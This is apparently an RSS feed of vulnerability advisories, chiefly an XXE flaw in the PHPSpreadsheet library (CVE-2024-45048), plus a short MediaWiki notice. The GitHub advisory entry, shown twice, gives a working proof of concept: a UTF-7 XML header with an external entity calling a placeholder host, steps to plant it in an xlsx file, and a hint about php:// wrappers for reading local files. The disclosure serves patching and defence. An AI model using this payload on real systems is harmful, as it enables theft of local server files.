<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 05:24:12 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-160516</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-160516</link>
      <description>EUVD-2026-160516</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-160516</guid>
    </item>
    <item>
      <title>fkie_cve-2024-45048</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-45048</link>
      <description>&lt;p&gt;PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-45048</guid>
    </item>
    <item>
      <title>GHSA-ghg6-32f9-2jp7 — XXE in PHPSpreadsheet encoding is returned</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-ghg6-32f9-2jp7</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: phpoffice/phpspreadsheet, Packagist: phpoffice/phpexcel&lt;/p&gt;
&lt;p&gt;### Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)&lt;/p&gt;
&lt;p&gt;### Details
Check ` $pattern = &amp;#39;/encoding=&amp;#34;(.*?)&amp;#34;/&amp;#39;;` easy to bypass. Just use a single quote symbol `&amp;#39;`. So payload looks like this:
```
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#39;UTF-7&amp;#39; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &amp;#34;http://example.com/file.dtd&amp;#34;&amp;gt; %xxe;]&amp;gt;
```
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.&lt;/p&gt;
&lt;p&gt;### PoC
1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.
4) Replace `&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt;` to 
```
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#39;UTF-7&amp;#39; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &amp;#34;http://%webhook%/file.dtd&amp;#34;&amp;gt; %xxe;]&amp;gt;
```
5) Save `sharedStrings.xml` file and rename zip back to xlsx.
6) Use minimal php code that simply opens this xlsx file:
```
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . &amp;#39;/vendor/autoload.php&amp;#39;;
$spreadsheet = IOFactory::load(&amp;#34;file.xlsx&amp;#34;);
```
7) You will receive the request to your `http://%webhook%/file.dtd`
8) Dont&amp;#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/p&gt;
&lt;p&gt;### Impact
Read local files
![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: phpoffice/phpspreadsheet, Packagist: phpoffice/phpexcel&lt;/p&gt;
&lt;p&gt;### Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)&lt;/p&gt;
&lt;p&gt;### Details
Check ` $pattern = &amp;#39;/encoding=&amp;#34;(.*?)&amp;#34;/&amp;#39;;` easy to bypass. Just use a single quote symbol `&amp;#39;`. So payload looks like this:
```
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#39;UTF-7&amp;#39; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &amp;#34;http://example.com/file.dtd&amp;#34;&amp;gt; %xxe;]&amp;gt;
```
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.&lt;/p&gt;
&lt;p&gt;### PoC
1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.
4) Replace `&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt;` to 
```
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#39;UTF-7&amp;#39; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &amp;#34;http://%webhook%/file.dtd&amp;#34;&amp;gt; %xxe;]&amp;gt;
```
5) Save `sharedStrings.xml` file and rename zip back to xlsx.
6) Use minimal php code that simply opens this xlsx file:
```
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . &amp;#39;/vendor/autoload.php&amp;#39;;
$spreadsheet = IOFactory::load(&amp;#34;file.xlsx&amp;#34;);
```
7) You will receive the request to your `http://%webhook%/file.dtd`
8) Dont&amp;#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/p&gt;
&lt;p&gt;### Impact
Read local files
![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-ghg6-32f9-2jp7</guid>
    </item>
    <item>
      <title>WID-SEC-W-2024-3087 — MediaWiki: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3087</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in MediaWiki ausnutzen, um beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, einen Cross-Site-Scripting-Angriff durchzuführen oder Dateien zu manipulieren.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in MediaWiki ausnutzen, um beliebigen Code auszuführen, vertrauliche Informationen offenzulegen, einen Cross-Site-Scripting-Angriff durchzuführen oder Dateien zu manipulieren.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2024-3087</guid>
    </item>
  </channel>
</rss>
